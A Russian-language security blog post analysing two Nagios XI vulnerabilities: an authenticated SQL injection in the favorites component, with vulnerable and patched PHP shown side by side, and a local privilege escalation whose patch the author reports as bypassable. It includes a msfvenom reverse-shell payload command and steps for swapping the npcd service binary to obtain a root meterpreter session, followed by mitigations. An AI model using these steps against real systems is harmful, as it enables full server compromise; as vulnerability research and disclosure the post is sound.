28.11.2024 00:36:00

Анализ уязвимостей CVE-2024-24401 и CVE-2024-24402 в Nagios XI

Источник

Предисловие

Всем привет, меня зовут Дмитрий, я работаю специалистом по моделированию атак в компании «Перспективный мониторинг». Я занимаюсь разработкой сценариев атак для киберполигона Ampire. Когда мы с командой тестируем актуальные уязвимости, процесс выглядит так: устанавливаем уязвимую версию ПО, проверяем работоспособность Proof of Concept, после чего обновляемся до актуальной версии и убеждаемся, что уязвимость устранена. Тестируя актуальные уязвимости в системе мониторинга Nagios Xi, я обнаружил, что в сети очень мало информации об уязвимостях CVE-2024-24401 и CVE-2024-24402. К тому же оказалось, что одна из уязвимостей, а именно уязвимость локального повышения привилегий CVE-2024-24402, не была полностью пропатчена.

Логотип Nagios XI
Логотип Nagios XI

Введение

В феврале 2024 года исследователь Jarod Jaslow с псевдонимом MAWK обнаружил две уязвимости CVE-2024-24401 и CVE-2024-24402 в Nagios XI версии 2024R1.0.1. Уязвимость CVE-2024-24401 — аутентифицированная SQL-инъекция, а уязвимость CVE-2024-24402 позволяет повысить привилегии от пользователя nagios до суперпользователя. Комбинация данных уязвимостей позволяет полностью скомпрометировать веб-сервер и систему. По результатам нашего исследования было выявлено, что уязвимость CVE2024-24402 не была исправлена разработчиками, при этом уязвимость CVE-2024-24401 исправлена. Я сообщил об этом разработчикам, но ответа не получил.

Nagios XI представляет собой систему для комплексного мониторинга инфраструктуры, которая по умолчанию использует базу данных MySQL. CVE-2024-24401 — это аутентифицированная SQL-инъекция, которая возникает из-за плохой очистки данных GET-запроса. Эксплуатация данной уязвимости позволяет злоумышленнику получить API-токен администратора из базы данных и создать своего пользователя с правами администратора. В Nagios XI есть возможность создания команд, которые выполняются на различных хостах, подключенных к системе мониторинга. Получение привилегий администратора в подобном продукте может позволить злоумышленнику удаленно выполнять команды на большом количестве хостов. Таким образом злоумышленник может создать вредоносную команду и получить доступ к системам, которые подключены к Nagios XI, или только к системе, на которой поднят сервер Nagios XI, под пользователем nagios.

CVE-2024-24402 — это уязвимость повышения привилегий, которая возникает из-за возможности у пользователя nagios изменять исполняемый файл /usr/local/nagios/bin/npcd. Пользователь nagios может запустить скрипт manage_services.sh от имени суперпользователя без указания пароля. Разработчики Nagios Xi пропатчили все последние выложенные релизы на своем сайте. Уязвимости CVE2024-24401 и CVE-2024-24402 должны были быть исправлены в версии 2024R1.0.2 от 21 февраля 2024 года, о чем говорит официальный журнал изменений. Однако уязвимость локального повышения прав хоть и была пропатчена, но всё равно продолжает работать во всех актуальных версиях.

CVE-2024-24401

Уязвимость CVE-2024-24401 возникает в конечной точке /nagiosxi/config/monitoringwizard.php, но если попробовать посмотреть содержимое данного файла в браузере, то можно увидеть сообщение о том, что исходный код защищен SourceGuardian.

Файл monitoringwizard.php открытый на отдельном веб-сервере
Файл monitoringwizard.php открытый на отдельном веб-сервере

При этом содержимое файла скомпилировано и имеет нечитаемый вид.

Содержимое файла monitoringwizard.php
Содержимое файла monitoringwizard.php

О том, как обойти данную защиту кода, можно почитать в интернете.

Но давайте сначала попробуем поискать уязвимый SQL-запрос, так как не все исходники защищены SourceGuardian. Если допустить, что код, который пропускает SQL-инъекцию, находится в файле monitoringwizard.php, то можно скачать версию 2024R1.0.1 после патча с официального сайта и уязвимую версию из репозитория MAWK/CVE-2024-24401, заменить файл monitoringwizard.php в уязвимой версии таким же файлом из пропатченной версии. При этом, выполнив такую подмену, мы не нарушим работоспособность конечной точки, но и уязвимость не закрываем.

Отсюда можно сделать вывод, что уязвимость находится в другом месте. Если выполнить поиск упоминаний файла monitoringwizard.php по исходному коду Nagios xi в директории /usr/local/nagiosxi, то можно увидеть, что в уязвимой версии присутствует на одно упоминание больше в файле /usr/local/nagiosxi/html/includes/components/favorites/favorites.inc.php

Сравнение результатов поиска в версии 2024R1.0.1 до и после патча
Сравнение результатов поиска в версии 2024R1.0.1 до и после патча

Упоминание monitoringwizard.php в этом файле выглядит следующим образом:

    /***
* TODO: This does NOT work for wizards, because it saves the 'nsp', so the next time the user logs in,
* it doesn't work anymore!
* favorites_get_user_favorites(): array (
* 0 =>
* array (
* 'item_id' => '1',
* 'user_id' => '1',
* 'title' => 'MSSQL Database Monitoring Wizard',
* 'partial_href' => 'config/monitoringwizard.php?update=1&nextstep=2&nsp=5bcb11d9bdcb1e11ebafb5db4657b1fe9e3c0e9653d204877bd1ae5c4d8ba7fd&wizard=mssql_database#',
* ),
* 1 =>
* array (
* 'item_id' => '2',
* 'user_id' => '1',
* 'title' => 'Configuration Wizard',
* 'partial_href' => 'config/monitoringwizard.php?&=',
* ),
* )
***/

Это обычный комментарий в виде задачи TODO. Но давайте посмотрим на одну из функций в этом же файле favorites.inc.php.

function is_user_favorite($page = null, $query_param = null)
{
global $db_tables;

if (!isset($page)) {
return false;
}

$user_id = 0;

if (isset($_SESSION['user_id'])) {
$user_id = $_SESSION['user_id'];
}

$sql = "SELECT COUNT(item_id) as count
FROM ".$db_tables[DB_NAGIOSXI]['cmp_favorites']."
WHERE user_id = ".intval($user_id)."
AND partial_href LIKE '%".$page."%'";
if (!empty($query_param)) {
$sql .= " AND partial_href LIKE '%".$query_param."%'";
}

$count = 0;

$rows = exec_sql_query(DB_NAGIOSXI, $sql);

if (!empty($rows) && isset($rows->fields['count'])) {
$count = (int) $rows->fields['count'];
}

$retval = ($count > 0) ? true : false;

return $retval;
}

В функции проверяется, есть ли данная страница в «Избранных» у конкретного пользователя. Рассмотрим следующую ссылку: https://localhost/nagiosxi/config/monitoringwizard.php/1' AND (...

Все, что идет после monitoringwizard.php/, попадет в параметр $page, а конкретный «wizard», к которому идет обращение, — в параметр $query_param. При создании тела SQL-запроса параметры $page и $query_param никак не экранируются, что позволяет внедрить SQL-инъекцию.

Давайте посмотрим на эту же функцию, но уже в версии после патча.

function is_user_favorite($page = null, $query_param = null)
{
global $db_tables;

if (!isset($page)) {
return false;
}

$user_id = 0;

if (isset($_SESSION['user_id'])) {
$user_id = $_SESSION['user_id'];
}

$sql = "SELECT COUNT(item_id) as count
FROM ".$db_tables[DB_NAGIOSXI]['cmp_favorites']."
WHERE user_id = ".intval($user_id)."
AND partial_href LIKE '%".escape_sql_param($page, DB_NAGIOSXI)."%'";
if (!empty($query_param)) {
$sql .= " AND partial_href LIKE '%".escape_sql_param($query_param, DB_NAGIOSXI)."%'";
}

$count = 0;

$rows = exec_sql_query(DB_NAGIOSXI, $sql);

if (!empty($rows) && isset($rows->fields['count'])) {
$count = (int) $rows->fields['count'];
}

$retval = ($count > 0) ? true : false;

return $retval;
}

Как можно увидеть, для экранирования параметров использовали функцию escape_sql_param, что больше не позволяет использовать одинарную кавычку.

Теперь давайте разберемся, почему при каждом запросе к monitoringwizard.php вызывается функция is_user_favorite.

Файл favorites.inc.php относится к компоненту Nagios XI под названием «Избранное». Если открыть данный компонент на веб‑интерфейсе, то можно увидеть, что версия компонента изменилась после патча.

Версия компонента "Избранное" до патча
Версия компонента «Избранное» до патча

Версия компонента "Избранное" после патча
Версия компонента «Избранное» после патча

В настройках данного модуля можно увидеть только один параметр, позволяющий включать и выключать вкладку «Избранное», которая находится в меню слева.

Версия компонента «Избранное» после патча
Единственная настройка для модуля "Избранное"

При этом, если отключить вкладку «Избранное», то уязвимый запрос больше не будет работать. Это связано с тем, что инъекция возникает в момент проверки, находится ли страница, к которой идет запрос, в «Избранное», и если не находится, то в правом верхнем углу появляется иконка «Добавить в Избранное», в ином случае — иконка «Убрать из Избранного».

Таким образом, в качестве временного закрытия уязвимости в старых версиях Nagios XI можно:

  1. Воспользоваться функцией escape_sql_param, которая существует и в предыдущих версиях Nagios XI;

  2. Отключить компонент «Избранное» и уязвимый код не будет вызываться.

Но самый надежный способ защититься от SQL-инъекции — обновить Nagios XI до последней версии, так как уязвимость CVE-2024-24401 была исправлена разработчиками начиная с версии 2024R1.0.2.

CVE-2024-24402

В ходе эксплуатации разобранной выше уязвимости CVE-2024-24401 злоумышленник может получить терминальную сессию с хостом Nagios XI, но только под пользователем nagios. Исследователь Jarod Jaslow обнаружил еще одну уязвимость — CVE-2024-24402, которая позволяет пользователю nagios повысить свои привилегии до уровня суперпользователя.

У пользователя nagios есть возможность использовать sudo без пароля при вызове скрипта /usr/local/nagiosxi/scripts/manage_services.sh.

Данный скрипт позволяет управлять системными сервисами.

Варианты использования скрипта manage_services.sh
Варианты использования скрипта manage_services.sh

Среди параметров скрипта можно увидеть сервис npcd, его служба находится по пути /etc/systemd/system/npcd.service.

Параметры службы npcd.service
Параметры службы npcd.service

Данная служба запускает файл /usr/local/nagios/bin/npcd.

Права у запускаемого службой файла npcd
Права у запускаемого службой файла npcd

На скриншоте видно, что данный файл принадлежит пользователю nagios, который может изменять его. Чтобы получить права суперпользователя, следует создать произвольный файл c командой для получения Reverse Shell, в моем случае я создал полезную нагрузку с помощью msfvenom на kali linux:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.1.10 LPORT=5557 -f elf -o npcd

Через wget скачал ее под пользователем nagios в папку /tmp/ и выдал права на исполнение.

Выдача прав на исполнение elf файлу, скачанному с kali linux
Выдача прав на исполнение elf файлу, скачанному с kali linux

Далее нужно запустить обработчик входящих подключений на kali linux в msfconsole.

Запущенный обработчик входящий подключения на kali linux
Запущенный обработчик входящий подключения на kali linux

Затем остановить службу npcd, удалить файл службы /usr/local/nagios/bin/npcd и на его место копировать наш elf-файл из папки /tmp/. Для получения meterpreter-сессии остается только снова запустить службу npcd.

Эксплуатация уязвимости CVE-2024-24402 через подмену исполняемого файла службы, ранее скачанным elf файлом
Эксплуатация уязвимости CVE-2024-24402 через подмену исполняемого файла службы, ранее скачанным elf файлом

После чего мы получаем meterpreter-сессию с правами суперпользователя в msfconsole.

Информация о полученной meterpreter-сессии
Информация о полученной meterpreter-сессии

В версии 2024R1.0.1 после патча данная уязвимость не закрыта и возможность локального повышения привилегий до уровня суперпользователя существует. Дальше я попробовал установить самую актуальную версию на данный момент — 2024R1.2.2, которая была выпущена 24 сентября 2024 года. Права доступа к файлу /usr/local/nagio/bin/npcd изменились, теперь у владельца нет прав на запись в данный файл, но при этом пользователь nagios все еще является владельцем файла, что позволяет ему удалить его и заменить произвольным скриптом.

Права на файл в версии 2024R1.2.2
Права на файл в версии 2024R1.2.2

Права на файл в версии 2024R1.0.1 до патча
Права на файл в версии 2024R1.0.1 до патча

Логически можно предположить, что изначально заявленной уязвимостью являлась возможность записи в файл пользователем nagios. Соответственно разработчики и исправили данную уязвимость. Но обойти такое исправление очень просто: так как владельцем файла является пользователь nagios, то он все еще может удалить файл npcd и подменить его исполняемым скриптом. Таким образом, даже в самой актуальной версии можно подменить файл npcd и получить права суперпользователя.

Информация о проблеме была передана разработчикам, но ответа не поступило. Можно допустить, что данная уязвимость не является критической по их мнению. У пользователя nagios есть много потенциальных возможностей для повышения привилегий, но при поверхностном осмотре они ни к чему не приводят.

В ходе исследования было выявлено, что существует обход исправления уязвимости CVE-2024-24402, что делает все актуальные версии Nagios Xi уязвимыми к локальному повышению привилегий.

Для того, чтобы полностью устранить уязвимость CVE-2024-24402, я рекомендую забрать права владельца у пользователя nagios на исполняемый файл /usr/local/nagios/bin/npcd. Данный файл запускает служба, которая работает от имени суперпользователя, поэтому пользователю nagios нет необходимости быть владельцем данного файла.

Рекомендуемые статьи